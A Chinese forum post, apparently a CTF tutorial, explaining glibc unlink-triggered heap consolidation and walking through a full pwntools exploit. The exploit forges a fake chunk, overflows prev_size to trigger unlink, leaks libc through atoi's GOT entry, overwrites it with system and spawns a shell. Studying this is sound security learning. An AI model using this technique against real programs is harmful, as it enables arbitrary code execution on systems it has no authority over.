12558网页游戏私服论坛

 找回密码
 立即注册
游戏开服表 申请开服
游戏名称 游戏描述 开服状态 游戏福利 运营商 游戏链接
攻城掠地-仿官 全新玩法,觉醒武将,觉醒技能 每周新区 经典复古版本,长久稳定 进入游戏
巅峰新版攻 攻城掠地公益服 攻城掠地SF 新兵种、新武将(兵种) 进入游戏
攻城掠地公 散人玩家的天堂 新开 进入游戏
改版攻城掠 上线即可国战PK 稳定新区 全新改版,功能强大 进入游戏
少年江山 高福利高爆率 刚开一秒 江湖水落潜蛟龙 进入游戏
太古封魔录 开服送10亿钻石 福利多多 不用充钱也可升级 进入游戏
神魔之道 签到送元宝 稳定开新区 送豪华签到奖励 进入游戏
神奇三国 统帅三军,招揽名将 免费玩新区 激情国战,征战四方 进入游戏
龙符 三日豪礼领到爽 天天开新区 助你征战无双 进入游戏
王者之师 免费领豪华奖励 免费玩新区 6元送6888元宝 进入游戏
查看: 277|回复: 0

glibc unlink触发机制解析(pwn unlink)

[复制链接]

60

主题

60

帖子

130

积分

实习版主

Rank: 7Rank: 7Rank: 7

积分
130
发表于 2021-2-19 17:07:18 | 显示全部楼层 |阅读模式
在pwn 的学习 其中unlink机制与原理是比较复杂的 需要配合glibc源码进行分析


关于unlink的原理,这里不用过多阐述 不懂的可以看一下ctfwiki的相关知识
下面给出一张图概过


现在我们重点分析 unlink的触发机制,即什么时候会发生unlink?
当需要合并相邻的freechunk时用到unlink
而合并堆块又分为向地地点合并和向高地点合并
在ctf glibc pwn中 我们一般利用的是向低地点合并的unlink
下面给出 glibc2.23中关于向低地点合并的源码

    if (!prev_inuse(p)) {//判定后一个堆块(低地点)是否free,free时进行下一步操纵
      prevsize = p->prev_size;//读取p堆块的prev_size位
      size += prevsize;//size相加
      p = chunk_at_offset(p, -((long) prevsize));//p指向后一个堆块的地点,实现了合并
      unlink(av, p, bck, fwd);//unlink脱链操纵
    }
图片表该示过程:



向高地点合并:
源码
    if (nextchunk != av->top) {//下一个堆块(高地点)是否为top chunk
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);//将下一个堆块的prev_inuse位置为0,由于即将free这个堆块的前一个堆块
      /* consolIDAte forward */
      if (!nextinuse) {//判定下一个堆块是否free,是则进行unlink
    unlink(av, nextchunk, bck, fwd);
    size += nextsize;//size相加,相当于扩大了堆块,实现了 free
      } else
    clear_inuse_bit_at_offset(nextchunk, 0);

接下来来看一个 unlink的ctf 实例
unlink.rar
压缩文件给出了 elf和我写的exp
这是一个经典的unlink修改全局数组 实现任意地点写的题目

先分析一下 ,其中的change_item中存在堆溢出毛病
malloc出的指针存放于 0x6020c0的全局数组中
这个题的思路大概就是 首先unlink 造成0x6020c0的全局数组任意地点写

然后 泄漏libc 最后修改elf.got['atoi']为system

再输入/bin/sh\x00造成getshell

def add(size,content):
    p.sendlineafter('choice:',str(2))
    p.sendlineafter('name:',str(size))
    p.sendlineafter('item:',content)

def show():
    p.sendlineafter('choice:',str(1))

def change(index,size,content):
    p.sendlineafter('choice:',str(3))
    p.sendlineafter('item:',str(index))
    p.sendlineafter('name:',str(size))
    p.sendlineafter('item:',content)

def delete(index):
    p.sendlineafter('choice:',str(4))
    p.sendlineafter('item:',str(index))

sleep(2)
add(0x20,'aaaa')#0
add(0x80,'bbbb')#1 实际分配size为0x90,保证期不为fastbin
add(0x80,'cccc')#2

此时的堆块情况如下

全局数组情况如下

我们利用unlink在全局数组写的思路是
由于全局数组的指针是指向chunk数据段的而不是chunk起始位置的

所以在chunk1的数据段伪造另一个chunk,chunk大小得与接下来的chunk2 的prev_size对应
然后设置伪造堆块的fd=ptr-0x18 bk=ptr-0x10(这么做的缘故原由ctfwiki里面有)
通过溢出 修改chunk2 的prev_size 为0x80 size为0x90 pre_inuse为0
再free(chunk2)时便会前向合并触发unlink
pause()
fd=0x6020d8-0x18
bk=0x6020d8-0x10
payload1=p64(0)+p64(0x81)#fake_chunk
payload1+=p64(fd)+p64(bk)
payload1+=p64(0)*12
payload1+=p64(0x80)+p64(0x90)
change(1,0x90,payload1)
delete(2)#unlink
此时全局数组情况如下

可以发现我们现在已经可以通过change(1)实现任意地点读写了

pause()
change(1,0x20,'b'*8+p64(elf.got['atoi']))
show()
p.recvuntil(': ')
libc_base=u64(p.recv(6).ljust(8,'\x00'))-libc.sym['atoi']
print "libc_base:"+hex(libc_base)
change(0,0x20,p64(libc_base+libc.sym['system']))
p.recvuntil(':')
p.sendline('/bin/sh\x00')
p.interactive()
我们可以通过修改atoi的got 为system

然后输入/bin/sh\x00触发system('/bin/sh\x00')


来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
楼主热帖
回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|12558网页游戏私服论坛 |网站地图

GMT+8, 2024-5-19 22:15 , Processed in 0.111328 second(s), 31 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表